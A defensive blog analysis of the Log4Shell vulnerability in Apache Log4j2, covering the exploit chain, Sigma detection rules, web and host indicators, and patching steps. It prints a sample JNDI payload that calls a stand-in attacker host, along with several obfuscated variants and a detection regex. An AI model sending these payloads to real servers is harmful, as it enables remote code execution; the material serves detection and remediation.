CVE-2021-44228 — CRITICAL (CVSS 10)

Log4Shell is technically over four years old, at the time of writing, but I’m choosing to use it as the first CVE to feature on this blog because it remains a clear example of a time when the entire cybersecurity industry was caught with its pants down. Its severity and breadth of application keep it in active use and remains a favorite exploit of nation-state actors.

This series is the product of an AI-assisted pipeline that pulls from NIST NVD, CISA KEV, and the SigmaHQ Sigma rule library to produce structured vulnerability analysis including threat context, technical breakdown, detection guidance, and remediation. All curated and reviewed by a human before publication.

Overview

CVE-2021-44228, widely known as Log4Shell, is a critical remote code execution vulnerability in Apache Log4j2 affecting versions 2.0-beta9 through 2.15.0 (with specific exceptions for 2.12.2, 2.12.3, and 2.3.1). Any application using the log4j-core library that logs attacker-controlled input is potentially exploitable — and that covers an enormous swath of the Java ecosystem, from enterprise applications to embedded firmware (including Siemens industrial control systems). Successful exploitation allows an unauthenticated attacker to execute arbitrary code on the target system with the privileges of the vulnerable application.

Severity & Exploitation Status

This is not theoretical. Log4Shell was weaponized within hours of the public disclosure on December 10, 2021. Threat actors ranging from nation-state groups to ransomware operators (including affiliates deploying Conti, Khonsari, and others) moved immediately. The CISA KEV addition on the same day as publication reflects how fast this went from advisory to active exploitation. Years later, it still appears in incident reports.

Technical Analysis

The root cause is Log4j2’s JNDI (Java Naming and Directory Interface) lookup feature, which was enabled by default and processed user-controlled input embedded in log messages.

The exploit chain in plain terms:

1. An attacker sends a crafted string to any input that gets logged by a vulnerable Log4j2 instance:

   ${jndi:ldap://attacker.com:1389/exploit}
   

2. Log4j2’s message lookup substitution evaluates the expression rather than treating it as a literal string.
3. The vulnerable application opens an outbound LDAP (or RMI, DNS, CORBA, IIOP, etc.) connection to the attacker-controlled server.
4. The LDAP response references a remote Java class. The JVM loads and executes that class.
5. The attacker achieves RCE in the context of the application process.

Pre-conditions:

• The target application uses log4j-core 2.0-beta9 through 2.15.0 (excluding 2.12.2, 2.12.3, 2.3.1)
• Attacker-controlled input reaches a log statement (HTTP headers, User-Agent, form fields, usernames, URLs — essentially anything)
• The JVM is not configured to disable remote class loading (com.sun.jndi.ldap.object.trustURLCodebase=false, which is the default in newer JVM versions but was not always enforced)

Important nuance: Even with trustURLCodebase=false (JDK 8u191+, 11.0.1+), attackers found bypass techniques using deserialization gadget chains and JNDI reference classes already present in the local classpath. The JVM version is not a reliable mitigating factor.

Affected component specificity: This is log4j-core. log4j-api alone is not vulnerable. log4net, log4cxx, and other Apache Logging projects are not affected. Validate which JAR files are actually present, not just which logging API the code references.

The payload surface is vast. Headers like X-Forwarded-For, User-Agent, Referer, and even DNS lookups triggered by logging have all been observed in exploitation campaigns.

Detection Opportunities

Sigma Rules (SigmaHQ)

Three actionable Sigma rules exist in the SigmaHQ repository:

• rules-emerging-threats/2021/Exploits/CVE-2021-44228/web_cve_2021_44228_log4j.yml — Web log detection for JNDI lookup strings in HTTP fields
• rules-emerging-threats/2021/Exploits/CVE-2021-44228/web_cve_2021_44228_log4j_fields.yml — Structured field-based variant for parsing web logs with individual fields (URI, User-Agent, etc.)
• rules-emerging-threats/2021/Exploits/CVE-2021-44228/proc_creation_win_exploit_cve_2021_44228_vmware_horizon_log4j.yml — Windows process creation events specific to VMware Horizon exploitation via Log4Shell

Web Log Indicators

Search your HTTP access logs, WAF logs, and application logs for JNDI lookup patterns:

${jndi:
${j${::-n}di:
${${::-j}${::-n}${::-d}${::-i}:
${${lower:j}ndi:
${${::-j}ndi:ldap

Attackers heavily obfuscated payloads using Log4j2’s own nested lookup feature to bypass naive string matching. Any regex covering CVE-2021-44228 needs to account for this. A useful starting pattern:

\$\{[^}]*j[^}]*n[^}]*d[^}]*i[^}]*:

Outbound Network Indicators

Monitor for unexpected outbound connections from Java application servers on LDAP ports:

Destination ports: 389, 636, 1389, 1099 (RMI), 53 (DNS — for detection/callback confirmation)

DNS-based callbacks (using ${jndi:dns://...}) are often used for detection without triggering full RCE. If you see Java processes making DNS lookups to unfamiliar domains, treat that as a strong indicator of at least a probe.

Host-Based Indicators

• New Java processes spawned by application server processes (java.exe, Tomcat, JBoss, etc.) executing system commands
• Unexpected outbound connections from java.exe or application server processes
• New files dropped in temp directories by Java processes:

  %TEMP%\*.class
  /tmp/*.class
  

• On VMware Horizon specifically, watch for wsproxy.exe or ws_TomcatService.exe spawning child processes

Logging Configuration Check

If you need to verify whether message lookup substitution is active without patching:

# Search for log4j-core JARs in your environment
find / -name "log4j-core-*.jar" 2>/dev/null

# Check version from JAR manifest
unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep Implementation-Version

Remediation

Patch — the only real fix:

Upgrade to at least 2.16.0/2.12.2/2.3.1, which completely removes JNDI lookup functionality. 2.15.0 only disabled it by default and is still considered vulnerable. The recommended target is 2.17.1+ (which also addresses CVE-2021-45046 and CVE-2021-45105).

Workarounds if patching is not immediately possible:

1. Set the JVM system property (Log4j 2.10.0+):

   -Dlog4j2.formatMsgNoLookups=true
   

   Note: This does not protect against all attack vectors (e.g., lookup in thread context map values).

2. Remove the JndiLookup class from the classpath (applies to all affected versions):

   zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
   

3. WAF rules — deploy signatures blocking ${jndi: patterns in HTTP inputs. Note that obfuscation techniques make WAF-only defense unreliable as a sole control.

4. Egress filtering — block outbound LDAP (389, 636) and RMI (1099) from application servers to the internet. This limits exploitation impact without eliminating the vulnerability.

Prioritization: If you have Java applications and have not confirmed their Log4j2 version, this is your first priority today. Three-plus years of active exploitation, ransomware association, and a CVSS 10 means there is no acceptable delay. Embedded and OT devices (like the Siemens 6BK series listed in affected products) may require vendor firmware updates — contact your vendor directly if you cannot update the Log4j2 library independently.

This analysis was generated with AI assistance (Claude by Anthropic) using data from NIST NVD, CISA KEV, and the SigmaHQ community Sigma rule repository. All data reflects the state of those sources at the time of generation. Verify patch availability and applicability in your environment before acting on remediation guidance. The author reviewed and approved this content prior to publication.